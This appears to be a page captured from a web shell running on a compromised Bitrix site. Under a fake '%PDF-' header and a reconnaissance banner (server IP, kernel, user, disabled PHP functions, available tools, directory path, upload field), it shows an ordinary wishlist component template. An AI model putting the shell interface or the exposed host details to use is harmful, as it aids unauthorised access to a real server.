%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.144.93.9 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/itserw/wishlist.list/templates/.default/ |
Upload File : |
<? if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true) die(); use \Bitrix\Main\Localization\Loc; /** @var array $arParams */ /** @var array $arResult */ /** @global CMain $APPLICATION */ /** @global CUser $USER */ /** @global CDatabase $DB */ /** @var CBitrixComponentTemplate $this */ /** @var string $templateName */ /** @var string $templateFile */ /** @var string $templateFolder */ /** @var string $componentPath */ /** @var CBitrixComponent $component */ ?> <? $needReload = (isset($_REQUEST["wishlist_reload"]) && $_REQUEST["wishlist_reload"] == "Y"); $idWishlistCount = 'wishlist' . $this->randString(); $obWishlist = 'ob'.$idWishlistCount; $idWishlistCountList = $obWishlist . '_list'; $idWishlistCountItem = $obWishlist . '_item'; $hideList = ''; ?> <div class="favorites" id="<?=$idWishlistCount?>"> <?if ($needReload) { $APPLICATION->RestartBuffer(); } $frame = $this->createFrame($idWishlistCount)->begin('');?> <?if(!count($arResult['ITEMS'])):?> <?$hideList = 'style="display: none"';?> <div class="rsec_emptytab_icon"><?=Loc::getMessage("ITSERW_WISHLIST_TMPL_FAVORITES_LIST_EMPTY")?></div> <?endif;?> <div <?=$hideList?>> <h2><?=Loc::getMessage("ITSERW_WISHLIST_TMPL_FEATURED_PRODUCTS")?></h2> <?if(count($arResult['ITEMS']) > 0):?> <div><a href="<?=$arParams['ITSERW_LINK']?>"><?=Loc::getMessage("ITSERW_WISHLIST_TMPL_GO_TO_PAGE_LISTED")?></a></div> <?endif;?> <table class="favorites-table" > <thead> <tr> <th class="favorites-table__hover"></th> <th colspan="2"><?=Loc::getMessage("ITSERW_WISHLIST_TMPL_PRODUCT")?></th> <th class="td-center"><?=Loc::getMessage("ITSERW_WISHLIST_TMPL_PRODUCT_REMOVE")?></th> </tr> </thead> <tbody id="<?=$idWishlistCountList ?>"> <? foreach ($arResult['ITEMS'] as $item): ?> <tr id="<?=$idWishlistCountItem ?>" data-id="<?= $item['ID'] ?>" > <td class="favorites-table__hover"></td> <td class="favorites-table__min"> <?if($item['IMG']['src']):?> <img src="<?=$item['IMG']['src']?>" alt="<?= $item['NAME'] ?>" title="<?= $item['NAME'] ?>"> <?else:?> <img src="<?=SITE_TEMPLATE_PATH?>/image/demo/shop/product/e11.jpg" alt="<?= $item['NAME'] ?>" title="<?= $item['NAME'] ?>"> <?endif;?> </td> <td> <a href="<?=$item["DETAIL_PAGE_URL"] ?>"><?= $item['NAME'] ?></a> </td> <td class="td-center favorites-table__min"> <?if($arParams['AJAX_MODE'] == 'Y'):?> <a data-id="<?=$item['ID'] ?>" class="<?=$arParams['ITSERW_BTN_CLASS_DELETE']?> favorites-table__btn fa fa-close" data-action="delete" href="javascript:void(0);"></a> <?else:?> <a href="<?=$APPLICATION->GetCurPage() ?>?action=delete&id=<?= $item['ID'] ?> favorites-table__btn fa fa-close"></a> <?endif;?> </td> </tr> <? endforeach; ?> </tbody> </table> </div> <? $frame->end(); if ($needReload) { die(); }?> </div> <?$currentPath = CHTTP::urlDeleteParams( $APPLICATION->GetCurPageParam(), array( $arParams['ITSERW_ACTION'], $arParams['ITSERW_ID'], 'ajax_action' ), array("delete_system_params" => true) ); $jsParams = array( 'VISUAL' => array( 'ID' => $idWishlistCount, 'ELEMENT_ADD' => $arParams['ITSERW_BTN_CLASS'], 'ELEMENT_DELETE' => $arParams['ITSERW_BTN_CLASS_DELETE'], 'ITEM' => $idWishlistCountItem, 'LIST' => $idWishlistCountList ), 'AJAX' => array( 'url' => $currentPath, 'params' => array( 'ajax_action' => 'Y' ), 'reload' => array( 'wishlist_reload' => 'Y' ), ), 'MESSAGE' => array( 'in_wishlist' => Loc::getMessage("ITSERW_WISHLIST_TMPL_IN_FAVORITES"), 'favorites' => Loc::getMessage("ITSERW_WISHLIST_TMPL_FAVORITES") ) ); ?> <script type="text/javascript"> var <? echo $obWishlist; ?> = new JCCatalogWishlist(<? echo CUtil::PhpToJSObject($jsParams, false, true); ?>) BX.addCustomEvent("OnWishlistAdd", function(params) { console.log(params); }); </script>